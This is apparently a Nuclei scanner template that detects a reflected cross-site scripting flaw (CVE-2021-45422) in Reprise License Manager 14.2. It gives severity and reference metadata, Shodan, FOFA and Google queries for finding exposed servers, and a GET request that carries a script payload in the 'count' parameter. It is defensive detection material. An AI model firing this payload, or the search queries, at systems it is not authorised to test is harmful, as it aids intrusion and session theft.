id: CVE-2021-45422

info:
  name: Reprise License Manager 14.2 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Reprise License Manager 14.2 contains a cross-site scripting vulnerability in the /goform/activate_process "count" parameter via GET.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Reprise License Manager 14.2.
  reference:
    - https://seclists.org/fulldisclosure/2022/Jan/31
    - https://www.getinfosec.news/13202933/reprise-license-manager-142-reflected-cross-site-scripting#/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45422
    - http://reprise.com
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-45422
    cwe-id: CWE-79
    epss-score: 0.03313
    epss-percentile: 0.86972
    cpe: cpe:2.3:a:reprisesoftware:reprise_license_manager:14.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: reprisesoftware
    product: reprise_license_manager
    shodan-query:
      - http.html:"Reprise License"
      - http.html:"reprise license"
      - http.html:"reprise license manager"
    fofa-query:
      - body="reprise license manager"
      - body="reprise license"
    google-query: inurl:"/goforms/menu"
  tags: cve2021,cve,reprise,xss,seclists,reprisesoftware,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/goform/activate_process?isv=&akey=&hostid=&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><script>alert(document.domain)</script>"><input type='
          - 'value: "><script>alert(document.domain)</script>)<br>'
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cefdcd554be5a5567b617d10f2c5b1cf53b89c2e5a84c5e26fd24f6fef03cf1e022100bc0fea56039165ef9cc24a35247c3be2410197dc1d0c22090117a00628ddd17f:922c64590222798bb761d5b6d8e72950